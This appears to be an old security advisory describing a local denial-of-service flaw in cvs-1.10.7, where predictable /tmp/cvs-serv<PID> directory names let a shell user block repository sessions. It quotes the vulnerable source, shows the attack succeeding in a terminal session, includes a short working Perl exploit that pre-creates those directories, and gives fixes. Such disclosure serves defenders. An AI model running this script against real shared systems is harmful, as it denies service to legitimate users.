COMMAND
CVS
SYSTEMS AFFECTED
Systems with CVS
PROBLEM
Michal Szymanski found following. He found annoying bug in
cvs-1.10.7 (probably others too). Let's assume you've decided to
make your remote cvs repository available to several trusted
people. Therefore you need to edit your /etc/inetd.conf file and
add line similar to presented below:
cvspserver stream tcp nowait root /usr/bin/cvs cvs --allow-root==/usr/cvsroot pserver
This line comes directly from cvs info. In this case we are using
a password protocol (but it isn't relevant). After other
administrative tasks chosen users can use your remote repository.
So far everything is fine. But what will happen if malicious user
called siva9 owns a shell account in your system? He can do a
lot of evil. For example, he can get cvs server confused. How?
First of all you need to know that cvs server creates locking
directories in /tmp. It is required for normal working. There is
nothing weird in such behaviour, so long as it has been properly
done. Unfortunately method of generating new file names is very
simple and weak. Every file name is easily predictable and
consists of two parts: /tmp/cvs-serv string and PID of the
current working cvs server:
src/main.c:main():
(....)
Tmpdir="/tmp"
(....)
--------------
src/server.c:server()
(....)
server_temp_dir = malloc (strlen (Tmpdir) + 80);
(....)
strcpy (server_temp_dir, Tmpdir);
/* Remove a trailing slash from TMPDIR if present. */
p = server_temp_dir + strlen (server_temp_dir) - 1;
if (*p == '/')
*p = '\0';
/*
* I wanted to use cvs-serv/PID, but then you have to worry about
* the permissions on the cvs-serv directory being right. So
* use cvs-servPID. <-- here start our problems
*/
strcat (server_temp_dir, "/cvs-serv");
p = server_temp_dir + strlen (server_temp_dir);
sprintf (p, "%ld", (long) getpid ());
(....)
status = mkdir_p (server_temp_dir);
(....)
server() function is executed after AUTH REQUEST, so all root
privileges are dropped and it can't create temporary directory
which is already owned by another user. So, if we are capable of
predicting next file name we can cause effective DoS for one or
even all sessions, no matter we have access to repository, or not.
On heavily loaded server it is hard to predict next PID value and
in this way we can stop only one cvs session from normal working.
Therefore cvs-dos.pl script below creates a lot of filenames with
PID value in range from 400 to 4000 (adjust these values). If
there is no "inodes in use" limitation, it will succeed and cvs
server will not work properly:
[siva9@cvs ~]$ id
uid=17539(siva9) gid=150(lusers) groups=150(lusers),80(network),250(cvs)
[siva9@cvs ~]$ ./cvs-dos.pl
.......
[MySZ@localhost ~]$ CVSROOT=:pserver:MySZ@cvs:/usr/cvsroot
[MySZ@localhost ~]$ export CVSROOT
[MySZ@localhost ~]$ cvs login
(Logging in to MySZ@cvs)
CVS password:
[MySZ@localhost ~]$ cvs co .
cannot change permissions on temporary directory
Operation not permitted
[MySZ@localhost ~]$
From now on cvs users won't be able to access repository. How to
solve this problem? There is a cvs server option which allow us
to use another temporary directory. Just create
/usr/cvsroot/cvstmp directory and append following string to your
cvspserver line:
-T /usr/cvsroot/cvstmp
Then you can change cvstmp's group ownership to cvs and add
trusted users to it. Unfortunately it's not really correct
solution, cause cvs users still can stop server from working.
Michal recommends to use in server.c file mktemp(3) function or
any other method which generate unique filenames. Partial
solution is also to use quotas on a partition where /tmp/
directory resides. Simple exploit is below.
cvs-dos.pl:
#!/usr/bin/perl
$min=400;
$max=4000;
for ($x=$min;$x<=$max;$x++) {
open CVSTMP, ">>/tmp/cvs-serv$x" or die "/tmp/cvs-serv$x: $!";
chmod 0600, "/tmp/cvs-serv$x";
close CVSTMP;
}
SOLUTION
So the workaround (or fix?) is obvious: set TMPDIR to something
only writable by legitimate processes, such as the pserver
itself. cvs also listens to a -T command line option, and passes
that setting on to any subprocesses via the TMPDIR environment
variable, in that case.